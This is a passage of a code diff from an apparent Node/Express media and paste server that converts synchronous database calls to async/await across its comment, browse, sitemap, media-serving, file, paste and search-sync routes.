{++router.get('/:slug/comments', tenantAuth({ allowUser: true }), async (req, res) => {try {-- const paste = _getPasteScoped(req, res);++ const paste = await _getPasteScoped(req, res);if (!paste) return;const limit = Math.min(parseInt(req.query.limit || '50'), 100);const offset = parseInt(req.query.offset || '0');-- const comments = db.getPasteComments(paste.id, limit, offset);-- const total = db.getPasteCommentCount(paste.id);++ const comments = await db.getPasteComments(paste.id, limit, offset);++ const total = await db.getPasteCommentCount(paste.id);for (const c of comments) {-- c.replies = db.getPasteCommentReplies(c.id);++ c.replies = await db.getPasteCommentReplies(c.id);c.reply_count = c.replies.length;}@@@ -741,22 +741,22 @@ router.get('/:slug/comments', tenantAuth({ allowUser: true }), (req, res) => {}});--router.post('/:slug/comments', tenantAuth({ allowUser: true }), (req, res) => {++router.post('/:slug/comments', tenantAuth({ allowUser: true }), async (req, res) => {try {-- const paste = _getPasteScoped(req, res);++ const paste = await _getPasteScoped(req, res);if (!paste) return;const ip = req.ip || 'unknown';const userId = req.authType === 'user' ? req.userId : (req.body?.user_id ?? null);// ── Anon check ──────────────────────────────────────-- if (userId == null && db.getSetting('paste_comment_anon_allowed') === false) {++ if (userId == null && await db.getSetting('paste_comment_anon_allowed') === false) {return res.status(401).json({ error: 'You must be logged in to comment' });}// ── Message validation ──────────────────────────────const message = (req.body?.message || '').trim();-- const maxLen = Number(db.getSetting('paste_comment_max_length')) || 2000;++ const maxLen = Number(await db.getSetting('paste_comment_max_length')) || 2000;if (!message) return res.status(400).json({ error: 'Comment cannot be empty' });if (message.length > maxLen) {return res.status(400).json({ error: `Comment must be under ${maxLen} characters` });@@@ -771,13 +771,13 @@ router.post('/:slug/comments', tenantAuth({ allowUser: true }), (req, res) => {// ── Rate limits (user-JWT/browser callers) ──────────if (req.authType === 'user') {-- const cooldownSec = Number(db.getSetting('paste_comment_cooldown_seconds')) || 10;++ const cooldownSec = Number(await db.getSetting('paste_comment_cooldown_seconds')) || 10;const lastComment = commentCooldowns.get(ip);if (lastComment && (Date.now() - lastComment) < cooldownSec * 1000) {const wait = Math.ceil((cooldownSec * 1000 - (Date.now() - lastComment)) / 1000);return res.status(429).json({ error: `Please wait ${wait}s before commenting again` });}-- const recentFromIp = db.getRecentPasteCommentsByIp(ip, 60);++ const recentFromIp = await db.getRecentPasteCommentsByIp(ip, 60);if (recentFromIp.length >= 5) {return res.status(429).json({ error: 'Too many comments. Please slow down.' });}@@@ -790,7 +790,7 @@ router.post('/:slug/comments', tenantAuth({ allowUser: true }), (req, res) => {const parentId = req.body?.parent_id ? parseInt(req.body.parent_id) : null;let parent = null;if (parentId) {-- parent = db.getPasteCommentById(parentId);++ parent = await db.getPasteCommentById(parentId);if (!parent || parent.paste_id !== paste.id) {return res.status(400).json({ error: 'Invalid parent comment' });}@@@ -800,7 +800,7 @@ router.post('/:slug/comments', tenantAuth({ allowUser: true }), (req, res) => {}}-- const result = db.createPasteComment({++ const result = await db.createPasteComment({paste_id: paste.id,user_id: userId,parent_id: parentId,@@@ -811,7 +811,7 @@ router.post('/:slug/comments', tenantAuth({ allowUser: true }), (req, res) => {commentCooldowns.set(ip, Date.now());-- const comment = db.getPasteCommentById(result.lastInsertRowid);++ const comment = await db.getPasteCommentById(result.lastInsertRowid);res.status(201).json({ comment });} catch (err) {console.error('[PasteComments] Create error:', err.message);@@@ -819,12 +819,12 @@ router.post('/:slug/comments', tenantAuth({ allowUser: true }), (req, res) => {}});--router.delete('/:slug/comments/:commentId', tenantAuth({ allowUser: true }), (req, res) => {++router.delete('/:slug/comments/:commentId', tenantAuth({ allowUser: true }), async (req, res) => {try {-- const paste = _getPasteScoped(req, res);++ const paste = await _getPasteScoped(req, res);if (!paste) return;-- const comment = db.getPasteCommentById(parseInt(req.params.commentId));++ const comment = await db.getPasteCommentById(parseInt(req.params.commentId));if (!comment || comment.paste_id !== paste.id) {return res.status(404).json({ error: 'Comment not found' });}@@@ -839,7 +839,7 @@ router.delete('/:slug/comments/:commentId', tenantAuth({ allowUser: true }), (re}}-- db.deletePasteComment(comment.id);++ await db.deletePasteComment(comment.id);res.json({ message: 'Comment deleted' });} catch (err) {console.error('[PasteComments] Delete error:', err.message);@@@ -115,13 +115,13 @@ function thumbListable(name, publicIds) {}let _thumbListCache = { at: 0, list: [] };--function thumbList() {++async function thumbList() {if (Date.now() - _thumbListCache.at < 60_000) return _thumbListCache.list;let list = [];try {const publicIds = {-- vod: new Set(db.all(`SELECT id FROM vods WHERE ${THUMB_PUBLIC.vod}`).map(r => r.id)),-- clip: new Set(db.all(`SELECT id FROM clips WHERE ${THUMB_PUBLIC.clip}`).map(r => r.id)),++ vod: new Set((await db.all(`SELECT id FROM vods WHERE ${THUMB_PUBLIC.vod}`)).map(r => r.id)),++ clip: new Set((await db.all(`SELECT id FROM clips WHERE ${THUMB_PUBLIC.clip}`)).map(r => r.id)),};list = fs.readdirSync(THUMB_DIR).filter(f => /\.(jpe?g|png|webp)$/i.test(f) && thumbListable(f, publicIds))@@@ -133,44 +133,44 @@ function thumbList() {return list;}--function fetchTab(tab, page) {++async function fetchTab(tab, page) {const off = (page - 1) * PAGE_SIZE;const L = `ORDER BY created_at DESC LIMIT ${PAGE_SIZE} OFFSET ${off}`;switch (tab) {case 'videos': return {-- total: db.get(`SELECT COUNT(*) c FROM vods WHERE ${V_WHERE}`).c,-- cards: db.all(`SELECT * FROM vods WHERE ${V_WHERE} ${L}`).map(vodCard),++ total: (await db.get(`SELECT COUNT(*) c FROM vods WHERE ${V_WHERE}`)).c,++ cards: (await db.all(`SELECT * FROM vods WHERE ${V_WHERE} ${L}`)).map(vodCard),};case 'clips': return {-- total: db.get(`SELECT COUNT(*) c FROM clips WHERE ${C_WHERE}`).c,-- cards: db.all(`SELECT * FROM clips WHERE ${C_WHERE} ${L}`).map(clipCard),++ total: (await db.get(`SELECT COUNT(*) c FROM clips WHERE ${C_WHERE}`)).c,++ cards: (await db.all(`SELECT * FROM clips WHERE ${C_WHERE} ${L}`)).map(clipCard),};case 'images': return {-- total: db.get(`SELECT COUNT(*) c FROM pastes WHERE ${P_WHERE} AND type = 'screenshot'`).c,-- cards: db.all(`SELECT * FROM pastes WHERE ${P_WHERE} AND type = 'screenshot' ${L}`).map(pasteCard),++ total: (await db.get(`SELECT COUNT(*) c FROM pastes WHERE ${P_WHERE} AND type = 'screenshot'`)).c,++ cards: (await db.all(`SELECT * FROM pastes WHERE ${P_WHERE} AND type = 'screenshot' ${L}`)).map(pasteCard),};case 'text': return {-- total: db.get(`SELECT COUNT(*) c FROM pastes WHERE ${P_WHERE} AND COALESCE(type,'paste') <> 'screenshot'`).c,-- cards: db.all(`SELECT * FROM pastes WHERE ${P_WHERE} AND COALESCE(type,'paste') <> 'screenshot' ${L}`).map(pasteCard),++ total: (await db.get(`SELECT COUNT(*) c FROM pastes WHERE ${P_WHERE} AND COALESCE(type,'paste') <> 'screenshot'`)).c,++ cards: (await db.all(`SELECT * FROM pastes WHERE ${P_WHERE} AND COALESCE(type,'paste') <> 'screenshot' ${L}`)).map(pasteCard),};case 'files': return {-- total: db.get(`SELECT COUNT(*) c FROM files WHERE ${F_WHERE}`).c,-- cards: db.all(`SELECT * FROM files WHERE ${F_WHERE} ${L}`).map(fileCard),++ total: (await db.get(`SELECT COUNT(*) c FROM files WHERE ${F_WHERE}`)).c,++ cards: (await db.all(`SELECT * FROM files WHERE ${F_WHERE} ${L}`)).map(fileCard),};case 'emotes': return {-- total: db.get("SELECT COUNT(*) c FROM assets WHERE kind = 'emote'").c,-- cards: db.all(`SELECT * FROM assets WHERE kind = 'emote' ${L}`).map(assetCard),++ total: (await db.get("SELECT COUNT(*) c FROM assets WHERE kind = 'emote'")).c,++ cards: (await db.all(`SELECT * FROM assets WHERE kind = 'emote' ${L}`)).map(assetCard),};case 'sounds': return {-- total: db.get("SELECT COUNT(*) c FROM assets WHERE kind = 'sound'").c,-- cards: db.all(`SELECT * FROM assets WHERE kind = 'sound' ${L}`).map(assetCard),++ total: (await db.get("SELECT COUNT(*) c FROM assets WHERE kind = 'sound'")).c,++ cards: (await db.all(`SELECT * FROM assets WHERE kind = 'sound' ${L}`)).map(assetCard),};case 'thumbnails': {-- const list = thumbList();++ const list = await thumbList();return { total: list.length, cards: list.slice(off, off + PAGE_SIZE).map(([f, t]) => thumbCard(f, t)) };}default: { // all — one unified reverse-chronological index across DB-backed media-- const rows = db.all(`++ const rows = await db.all(`SELECT 'vod' k, id ref, title, description, ai_overview, thumbnail_url, duration_seconds, created_at, app_id, NULL slug, NULL type, NULL content, NULL language FROM vods WHERE ${V_WHERE}UNION ALLSELECT 'clip', id, title, description, ai_overview, thumbnail_url, duration_seconds, created_at, app_id, NULL, NULL, NULL, NULL FROM clips WHERE ${C_WHERE}@@@ -179,11 +179,11 @@ function fetchTab(tab, page) {UNION ALLSELECT 'asset', id, name, username, channel_username, kind, duration_seconds, created_at, app_id, NULL, NULL, NULL, NULL FROM assetsORDER BY created_at DESC LIMIT ${PAGE_SIZE} OFFSET ${off}`);-- const total = db.get(`SELECT++ const total = (await db.get(`SELECT(SELECT COUNT(*) FROM vods WHERE ${V_WHERE}) +(SELECT COUNT(*) FROM clips WHERE ${C_WHERE}) +(SELECT COUNT(*) FROM pastes WHERE ${P_WHERE}) +-- (SELECT COUNT(*) FROM assets) c`).c;++ (SELECT COUNT(*) FROM assets) c`)).c;const cards = rows.map(r => r.k === 'vod' ? vodCard({ ...r, id: r.ref }): r.k === 'clip' ? clipCard({ ...r, id: r.ref }): r.k === 'asset' ? assetCard({ id: r.ref, name: r.title, username: r.description, channel_username: r.ai_overview, kind: r.thumbnail_url, duration_seconds: r.duration_seconds, created_at: r.created_at, app_id: r.app_id })@@@ -194,18 +194,18 @@ function fetchTab(tab, page) {}let _countCache = { at: 0, counts: null };--function tabCounts() {++async function tabCounts() {if (_countCache.counts && Date.now() - _countCache.at < 60_000) return _countCache.counts;-- const c = (sql) => { try { return db.get(sql).c; } catch { return 0; } };++ const c = async (sql) => { try { return (await db.get(sql)).c; } catch { return 0; } };const counts = {-- videos: c(`SELECT COUNT(*) c FROM vods WHERE ${V_WHERE}`),-- clips: c(`SELECT COUNT(*) c FROM clips WHERE ${C_WHERE}`),-- images: c(`SELECT COUNT(*) c FROM pastes WHERE ${P_WHERE} AND type = 'screenshot'`),-- text: c(`SELECT COUNT(*) c FROM pastes WHERE ${P_WHERE} AND COALESCE(type,'paste') <> 'screenshot'`),-- files: c(`SELECT COUNT(*) c FROM files WHERE ${F_WHERE}`),-- emotes: c("SELECT COUNT(*) c FROM assets WHERE kind = 'emote'"),-- sounds: c("SELECT COUNT(*) c FROM assets WHERE kind = 'sound'"),-- thumbnails: thumbList().length,++ videos: await c(`SELECT COUNT(*) c FROM vods WHERE ${V_WHERE}`),++ clips: await c(`SELECT COUNT(*) c FROM clips WHERE ${C_WHERE}`),++ images: await c(`SELECT COUNT(*) c FROM pastes WHERE ${P_WHERE} AND type = 'screenshot'`),++ text: await c(`SELECT COUNT(*) c FROM pastes WHERE ${P_WHERE} AND COALESCE(type,'paste') <> 'screenshot'`),++ files: await c(`SELECT COUNT(*) c FROM files WHERE ${F_WHERE}`),++ emotes: await c("SELECT COUNT(*) c FROM assets WHERE kind = 'emote'"),++ sounds: await c("SELECT COUNT(*) c FROM assets WHERE kind = 'sound'"),++ thumbnails: (await thumbList()).length,};counts.all = counts.videos + counts.clips + counts.images + counts.text + counts.emotes + counts.sounds;_countCache = { at: Date.now(), counts };@@@ -299,13 +299,13 @@ ${require('./page-frame').frameScripts({ footer: { variant: 'full' } })}</body></html>`;}--function handle(req, res) {++async function handle(req, res) {try {const tab = TABS.some(([k]) => k === req.query.tab) ? req.query.tab : 'all';const page = Math.max(1, parseInt(req.query.page, 10) || 1);-- const data = fetchTab(tab, page);++ const data = await fetchTab(tab, page);res.set({ 'Cache-Control': 'public, max-age=30', 'Content-Type': 'text/html; charset=utf-8' });-- res.send(renderPage(tab, page, data, tabCounts()));++ res.send(renderPage(tab, page, data, await tabCounts()));} catch (err) {console.error('[Browse] render error:', err.message);res.status(500).send('Failed to render media index');@@@ -41,21 +41,21 @@ const WATCH_WHERE = {AND COALESCE(auto_generated, 0) = 0 AND COALESCE(file_path, '') != '' AND app_id != 'live' AND ${readiness.playableSql('clips.object_id')}`,};--function sandboxApps() {-- return new Set(db.all("SELECT app_id FROM apps WHERE env = 'sandbox'").map(r => r.app_id));++async function sandboxApps() {++ return new Set((await db.all("SELECT app_id FROM apps WHERE env = 'sandbox'")).map(r => r.app_id));}/** The indexable watch pages, newest first: [{ loc, lastmod, images }]. */--function sitemapEntries() {-- const sandbox = sandboxApps();++async function sitemapEntries() {++ const sandbox = await sandboxApps();const out = [];-- const vods = db.all(`SELECT id, app_id, visibility, is_public, thumbnail_url, created_at FROM vods++ const vods = await db.all(`SELECT id, app_id, visibility, is_public, thumbnail_url, created_at FROM vodsWHERE ${WATCH_WHERE.vod} ORDER BY created_at DESC LIMIT ?`, [MAX_URLS]);for (const v of vods) {if (sandbox.has(v.app_id) || !pages.watchIndexable('vod', v)) continue;out.push({ loc: `${config.publicUrl}/v/${v.id}`, lastmod: iso(v.created_at), images: v.thumbnail_url ? [abs(v.thumbnail_url)] : [] });}-- const clips = db.all(`SELECT id, app_id, visibility, is_public, auto_generated, thumbnail_url, created_at FROM clips++ const clips = await db.all(`SELECT id, app_id, visibility, is_public, auto_generated, thumbnail_url, created_at FROM clipsWHERE ${WATCH_WHERE.clip} ORDER BY created_at DESC LIMIT ?`, [MAX_URLS]);for (const c of clips) {if (sandbox.has(c.app_id) || !pages.watchIndexable('clip', c)) continue;@@@ -110,9 +110,9 @@ function send(res, type, body) {router.get('/robots.txt', (req, res) => send(res, 'text/plain', robotsTxt()));router.get('/llms.txt', (req, res) => send(res, 'text/plain', llmsTxt()));--router.get('/sitemap.xml', (req, res) => {++router.get('/sitemap.xml', async (req, res) => {try {-- send(res, 'application/xml', seo.sitemapXml([{ loc: `${config.publicUrl}/`, changefreq: 'hourly' }, ...sitemapEntries()]));++ send(res, 'application/xml', seo.sitemapXml([{ loc: `${config.publicUrl}/`, changefreq: 'hourly' }, ...await sitemapEntries()]));} catch (err) {console.error('[Public] sitemap error:', err.message);res.status(500).type('text/plain').send('sitemap unavailable');@@@ -132,14 +132,14 @@ function getTranscriptTimeline(appId, sel, limit) {const user = await _resolveUser(appId, String(sel).slice(1));if (!user) return { status: 404, body: { error: `Streamer ${sel} not found` } };uid = user.uid; scope = 'streamer'; label = `@${user.username}`;-- rows = db.all(++ rows = await db.all(`SELECT ${VOD_COLS} FROM vods WHERE app_id = ? AND user_id = ? AND is_public = 1 AND COALESCE(clips_only,0) = 0ORDER BY COALESCE(is_recording,0) DESC, created_at DESC LIMIT ?`, [appId, uid, n]);} else {const resolved = await frames.resolveSelector(appId, sel);if (!resolved.msid) return { status: 404, body: { error: `Slot '${sel}' not found or not live (slugs resolve while live; slot ids always work)` } };scope = 'slot'; label = resolved.label;-- rows = db.all(++ rows = await db.all(`SELECT ${VOD_COLS} FROM vods WHERE app_id = ? AND managed_stream_id = ? AND is_public = 1 AND COALESCE(clips_only,0) = 0ORDER BY COALESCE(is_recording,0) DESC, created_at DESC LIMIT ?`, [appId, resolved.msid, n]);uid = rows[0]?.user_id ?? null;@@@ -166,7 +166,7 @@ function getTranscriptTimeline(appId, sel, limit) {/** Transcript + AI overview for one existing VOD id. */function getVodTranscript(vodId) {return cached(`vt:${vodId}`, async () => {-- const v = db.get(`SELECT ${VOD_COLS}, app_id, is_public, clips_only FROM vods WHERE id = ?`, [vodId]);++ const v = await db.get(`SELECT ${VOD_COLS}, app_id, is_public, clips_only FROM vods WHERE id = ?`, [vodId]);// Private (including legacy rows with no visibility and is_public = 0) and clips-only// source recordings answer exactly like a missing id — the same rule /v/:id applies.const hidden = v && ((v.visibility || (v.is_public ? 'public' : 'private')) === 'private' || v.clips_only);@@@ -47,8 +47,8 @@ const views = require('../views/service');// Views + unique views live in ../views/service (visit-based with a cooldown, hashed// visitors, owner/bot/rate-limit exclusions). A playback session counts once: only the// request for the first bytes, not every seek/range request.--function trackUniqueView(kind, id, req, ownerUserId = null) {-- try { if (views.isInitialPlaybackRequest(req)) views.recordView(kind, id, { req, ownerUserId }); } catch { /* non-critical */ }++async function trackUniqueView(kind, id, req, ownerUserId = null) {++ try { if (views.isInitialPlaybackRequest(req)) await views.recordView(kind, id, { req, ownerUserId }); } catch { /* non-critical */ }}/** public | unlisted | private. Rows without a visibility fall back to is_public (0 = private). */@@@ -143,15 +143,15 @@ async function serveMediaRecord(kind, record, req, res) {// recording's sidecar through it while the stream is still being recorded.if (pages.wantsHtmlPage(req)) {res.set('Cache-Control', visibility === 'public' ? 'public, max-age=60' : 'private, no-store');-- return res.type('html').send(pages.renderWatchPage(kind, record, require('../objects/readiness').forRow(record)));++ return res.type('html').send(pages.renderWatchPage(kind, record, await require('../objects/readiness').forRow(record)));}if (drill.refuseBytes(res)) return;-- trackUniqueView(kind, record.id, req, record.user_id);++ await trackUniqueView(kind, record.id, req, record.user_id);// Track last access time for storage tier decisionsif (kind === 'vod') {-- try { db.run("UPDATE vods SET last_accessed_at = datetime('now') WHERE id = ?", [record.id]); } catch {}++ try { await db.run("UPDATE vods SET last_accessed_at = datetime('now') WHERE id = ?", [record.id]); } catch {}}// Resolve the local file. Clips keep their own absolute path; VODs resolve@@@ -204,13 +204,13 @@ async function serveMediaRecord(kind, record, req, res) {router.get('/v/:id', optionalIdentity, async (req, res) => {try {if (/^\d+$/.test(req.params.id)) {-- const vod = db.getVodById(parseInt(req.params.id, 10));++ const vod = await db.getVodById(parseInt(req.params.id, 10));if (!vod || vod.clips_only) return notFound(res);return await serveMediaRecord('vod', vod, req, res);}-- const vod = db.getVodByFileBasename(req.params.id);++ const vod = await db.getVodByFileBasename(req.params.id);if (vod && !vod.clips_only) return await serveMediaRecord('vod', vod, req, res);-- const clip = db.getClipByFileBasename(req.params.id);++ const clip = await db.getClipByFileBasename(req.params.id);if (clip) return await serveMediaRecord('clip', clip, req, res);notFound(res);} catch (err) {@@@ -223,7 +223,7 @@ router.get('/v/:id', optionalIdentity, async (req, res) => {router.get('/c/:id', optionalIdentity, async (req, res) => {try {if (!/^\d+$/.test(req.params.id)) return notFound(res);-- const clip = db.getClipById(parseInt(req.params.id, 10));++ const clip = await db.getClipById(parseInt(req.params.id, 10));// A clip still being cut (or whose cut failed) has no file yet: its bytes are a 404, and a// browser navigation gets the watch page saying so (private clips still look missing).if (!clip || (!clip.file_path && !pages.wantsHtmlPage(req))) return notFound(res);@@@ -291,16 +291,16 @@ router.get('/live/:sel/frame.jpg', async (req, res) => {const w = frames.quantizeWidth(req.query.w);const resolved = await frames.resolveSelector(appId, req.params.sel);-- if (!resolved.msid) return sendCard(404, resolved.label, 'is offline right now');++ if (!resolved.msid) return await sendCard(404, resolved.label, 'is offline right now');const out = await frames.getLiveFrame(appId, resolved.msid, w);if (!out.ok) {-- if (out.reason === 'not_live') return sendCard(404, resolved.label, 'is offline right now');++ if (out.reason === 'not_live') return await sendCard(404, resolved.label, 'is offline right now');if (out.reason === 'busy') {res.set('Retry-After', '2');-- return sendCard(503, resolved.label, 'is live — server busy, retry shortly');++ return await sendCard(503, resolved.label, 'is live — server busy, retry shortly');}-- return sendCard(503, resolved.label, 'is live — frame unavailable, retry shortly');++ return await sendCard(503, resolved.label, 'is live — frame unavailable, retry shortly');}res.set({'Content-Type': 'image/jpeg',@@@ -316,10 +316,10 @@ router.get('/live/:sel/frame.jpg', async (req, res) => {});// ── App assets (emotes / sounds) by id ───────────────────────--router.get('/a/:id', (req, res) => {++router.get('/a/:id', async (req, res) => {if (drill.refuseBytes(res)) return;try {-- const a = db.getAssetById(parseInt(req.params.id, 10));++ const a = await db.getAssetById(parseInt(req.params.id, 10));if (!a || !a.file_path || !fs.existsSync(a.file_path)) return res.status(404).json({ error: 'Not found' });// Content is replaced under the same URL on re-upload — cache a day, not immutable.streamFileWithRange(req, res, a.file_path, {@@@ -338,7 +338,7 @@ router.get('/a/:id', (req, res) => {// GET / — server-rendered mass index of all public media (tabs: All / Videos /// Clips / Images / Text / Thumbnails / Files), each card linking back to its// source page in the owning app. See public/browse.js.--router.get('/', (req, res) => require('./browse').handle(req, res));++router.get('/', async (req, res) => await require('./browse').handle(req, res));// What shipped on OpenVibe.Media: the shared update log every OpenVibe site has.router.get('/updates', (req, res) => {@@@ -350,7 +350,7 @@ router.get('/updates', (req, res) => {footer: { variant: 'full' },}));});--router.get('/browse', (req, res) => require('./browse').handle(req, res));++router.get('/browse', async (req, res) => await require('./browse').handle(req, res));// ── Dev data APIs: transcripts / AI timelines / chat insight ─// JSON companions to the frame API — same selector grammar, 30s cache as the@@@ -388,14 +388,14 @@ router.get('/v/:id/transcript.json', _devDataRoute((req) => {// rows still carry those absolute URLs. Basenames change when a thumbnail is// regenerated, so resolve the vod/clip id from the name and redirect to the// current canonical URL; serve the exact file when it still exists.--router.get('/api/thumbnails/:name', (req, res) => {++router.get('/api/thumbnails/:name', async (req, res) => {if (drill.refuseBytes(res)) return;const name = path.basename(String(req.params.name || ''));const m = /^(vod|clip)-(\d+)-\d+\.(?:jpg|jpeg|png)$/i.exec(name);if (m) {const row = m[1].toLowerCase() === 'vod'-- ? db.getVodById(parseInt(m[2], 10), 'live')-- : db.getClipById(parseInt(m[2], 10), 'live');++ ? await db.getVodById(parseInt(m[2], 10), 'live')++ : await db.getClipById(parseInt(m[2], 10), 'live');// Never for a private row: the redirect would hand out the current thumbnail URL of any// private recording to whoever guesses vod-<id>-0.jpg. The exact file name still serves.if (row && row.thumbnail_url && recordVisibility(row) !== 'private' && !row.thumbnail_url.endsWith(`/${name}`)) {@@@ -429,14 +429,14 @@ router.get('/f/screenshots/:name', (req, res) => {});// ── Files ────────────────────────────────────────────────────--router.get('/f/:key', (req, res) => {++router.get('/f/:key', async (req, res) => {if (drill.refuseBytes(res)) return;try {-- const row = db.getFileByKey(String(req.params.key));++ const row = await db.getFileByKey(String(req.params.key));if (!row) return res.status(404).json({ error: 'Not found' });// Developer-project sandbox files are never public: only a valid signed URL (from the// Files API) serves them, and a missing signature looks exactly like a missing file.-- const sandbox = db.isSandboxTenant(row.app_id);++ const sandbox = await db.isSandboxTenant(row.app_id);if (sandbox && !require('../objects/signing').verifyFile(row.key, req.query.exp, req.query.sig)) return res.status(404).json({ error: 'Not found' });const filesRoutes = require('../files/routes');const filePath = filesRoutes.filePathForKey(row);@@@ -492,10 +492,10 @@ router.get('/f/:key', (req, res) => {// Community's now, so send people there. Screenshot bytes keep being served from here.const movedTo = () => String(process.env.PASTES_MOVED_TO || '').replace(/\/$/, '');--router.get('/p/:slug', optionalIdentity, (req, res) => {++router.get('/p/:slug', optionalIdentity, async (req, res) => {if (movedTo()) return res.redirect(301, `${movedTo()}/p/${encodeURIComponent(req.params.slug)}`);try {-- const paste = db.getPasteBySlug(String(req.params.slug));++ const paste = await db.getPasteBySlug(String(req.params.slug));if (!paste) return res.status(404).send('Paste not found');// Unlisted pastes stay reachable by direct link (that's the point).@@@ -508,14 +508,14 @@ router.get('/p/:slug', optionalIdentity, (req, res) => {// keep the literal every-read counter — one read is the whole point of them.const isOwner = req.userId != null && paste.user_id === req.userId;if (!isOwner) {-- if (paste.burn_after_read) { db.run('UPDATE pastes SET views = views + 1 WHERE id = ?', [paste.id]); paste.views += 1; }-- else { const r = views.recordView('paste', paste.id, { req, ownerUserId: paste.user_id }); if (r.view_count != null) { paste.views = r.view_count; paste.unique_views = r.unique_views; } }++ if (paste.burn_after_read) { await db.run('UPDATE pastes SET views = views + 1 WHERE id = ?', [paste.id]); paste.views += 1; }++ else { const r = await views.recordView('paste', paste.id, { req, ownerUserId: paste.user_id }); if (r.view_count != null) { paste.views = r.view_count; paste.unique_views = r.unique_views; } }}// Burn-after-read: allow one non-owner read, then delete.if (paste.burn_after_read && !isOwner && paste.views > 1) {-- require('../pastes/routes').removePasteScreenshot(paste);-- db.run('DELETE FROM pastes WHERE id = ?', [paste.id]);++ await require('../pastes/routes').removePasteScreenshot(paste);++ await db.run('DELETE FROM pastes WHERE id = ?', [paste.id]);return res.status(410).send('This paste has been burned after reading.');}@@@ -527,9 +527,9 @@ router.get('/p/:slug', optionalIdentity, (req, res) => {}});--router.get('/p/:slug/raw', (req, res) => {++router.get('/p/:slug/raw', async (req, res) => {try {-- const found = db.getPasteBySlug(String(req.params.slug));++ const found = await db.getPasteBySlug(String(req.params.slug));// A private paste answers exactly like a missing slug (no redirect that proves it exists).const paste = found && found.visibility !== 'private' ? found : null;// Image pastes have no raw text — bounce to the screenshot (stale@@@ -544,22 +544,22 @@ router.get('/p/:slug/raw', (req, res) => {// Burn after readif (paste.burn_after_read && paste.views > 0) {-- db.run('DELETE FROM pastes WHERE id = ?', [paste.id]);++ await db.run('DELETE FROM pastes WHERE id = ?', [paste.id]);return res.status(410).send('This paste has been burned after reading.');}-- if (paste.burn_after_read) db.run('UPDATE pastes SET views = views + 1 WHERE id = ?', [paste.id]);-- else views.recordView('paste', paste.id, { req, ownerUserId: paste.user_id });++ if (paste.burn_after_read) await db.run('UPDATE pastes SET views = views + 1 WHERE id = ?', [paste.id]);++ else await views.recordView('paste', paste.id, { req, ownerUserId: paste.user_id });res.type('text/plain').send(paste.content);} catch {res.status(500).send('Error');}});--router.get('/p/:slug/screenshot', (req, res) => {++router.get('/p/:slug/screenshot', async (req, res) => {if (drill.refuseBytes(res)) return;try {-- const paste = db.getPasteBySlug(String(req.params.slug));++ const paste = await db.getPasteBySlug(String(req.params.slug));// Pastes made since the move live in Community only: send an unknown slug there, like// /p/:slug and /p/:slug/raw (Community answers with the image, or its own 404). Stored// hero-moment thumbnails pointed here and showed broken images.@@@ -23,17 +23,6 @@ const SYNC_MS = 10 * 60 * 1000;const stats = { sent: 0, tombstones: 0, unchanged: 0, lastError: null, lastSyncAt: null };let timer = null;--function ensureSchema() {-- db.getDb().exec(`CREATE TABLE IF NOT EXISTS search_doc_pushes (-- kind TEXT NOT NULL,-- media_id INTEGER NOT NULL,-- hash TEXT NOT NULL,-- revision INTEGER NOT NULL,-- deleted INTEGER NOT NULL DEFAULT 0,-- pushed_at DATETIME DEFAULT CURRENT_TIMESTAMP,-- PRIMARY KEY (kind, media_id)-- )`);--}const iso = (v) => {if (!v) return null;@@@ -59,52 +48,50 @@ function documentFor(kind, row) {}/** Send one document or tombstone when it changed. → 'sent' | 'tombstone' | 'unchanged' */--function send(kind, id, doc, now) {++async function send(kind, id, doc, now) {const d = db.getDb();-- const prev = d.prepare('SELECT hash, revision, deleted FROM search_doc_pushes WHERE kind = ? AND media_id = ?').get(kind, id);++ const prev = await d.prepare('SELECT hash, revision, deleted FROM search_doc_pushes WHERE kind = ? AND media_id = ?').get(kind, id);if (!doc && (!prev || prev.deleted)) { stats.unchanged++; return 'unchanged'; }const hash = doc ? hashOf(doc) : 'deleted';if (prev && prev.hash === hash) { stats.unchanged++; return 'unchanged'; }const revision = (prev ? prev.revision : 0) + 1;const sid = String(id);-- d.transaction(() => {-- if (doc) events.recordIndexDocument('media.index_document.upserted', { type: kind, id: sid, revision }, { ...doc, revision, updated_at: new Date(now).toISOString() });-- else events.recordIndexDocument('media.index_document.deleted', { type: kind, id: sid, revision }, { type: kind, id: sid, revision });-- d.prepare(`INSERT INTO search_doc_pushes (kind, media_id, hash, revision, deleted, pushed_at) VALUES (?, ?, ?, ?, ?, CURRENT_TIMESTAMP)++ await d.tx(async () => {++ if (doc) await events.recordIndexDocument('media.index_document.upserted', { type: kind, id: sid, revision }, { ...doc, revision, updated_at: new Date(now).toISOString() });++ else await events.recordIndexDocument('media.index_document.deleted', { type: kind, id: sid, revision }, { type: kind, id: sid, revision });++ await d.prepare(`INSERT INTO search_doc_pushes (kind, media_id, hash, revision, deleted, pushed_at) VALUES (?, ?, ?, ?, ?, ov_now())ON CONFLICT(kind, media_id) DO UPDATE SET hash = excluded.hash, revision = excluded.revision, deleted = excluded.deleted, pushed_at = excluded.pushed_at`).run(kind, id, hash, revision, doc ? 0 : 1);-- })();++ });if (doc) { stats.sent++; return 'sent'; }stats.tombstones++;return 'tombstone';}--function sync({ now = Date.now() } = {}) {-- if (!events.status().enabled) return 0;-- ensureSchema();-- const sandbox = crawl.sandboxApps();++async function sync({ now = Date.now() } = {}) {++ if (!(await events.status()).enabled) return 0;++ const sandbox = await crawl.sandboxApps();let n = 0;for (const kind of ['vod', 'clip']) {const table = kind === 'vod' ? 'vods' : 'clips';-- const rows = db.all(`SELECT id, app_id, title, description, duration_seconds, visibility, is_public, ${kind === 'clip' ? 'auto_generated, ' : ''}created_at-- FROM ${table} WHERE ${crawl.WATCH_WHERE[kind]}`).filter((r) => !sandbox.has(r.app_id) && pages.watchIndexable(kind, r));++ const rows = (await db.all(`SELECT id, app_id, title, description, duration_seconds, visibility, is_public, ${kind === 'clip' ? 'auto_generated, ' : ''}created_at++ FROM ${table} WHERE ${crawl.WATCH_WHERE[kind]}`)).filter((r) => !sandbox.has(r.app_id) && pages.watchIndexable(kind, r));const seen = new Set();for (const r of rows) {seen.add(r.id);-- try { send(kind, r.id, documentFor(kind, r), now); n++; } catch (err) { stats.lastError = err.message; }++ try { await send(kind, r.id, documentFor(kind, r), now); n++; } catch (err) { stats.lastError = err.message; }}-- for (const p of db.all('SELECT media_id FROM search_doc_pushes WHERE kind = ? AND deleted = 0', [kind])) {-- if (!seen.has(p.media_id)) { try { send(kind, p.media_id, null, now); } catch (err) { stats.lastError = err.message; } }++ for (const p of await db.all('SELECT media_id FROM search_doc_pushes WHERE kind = ? AND deleted = 0', [kind])) {++ if (!seen.has(p.media_id)) { try { await send(kind, 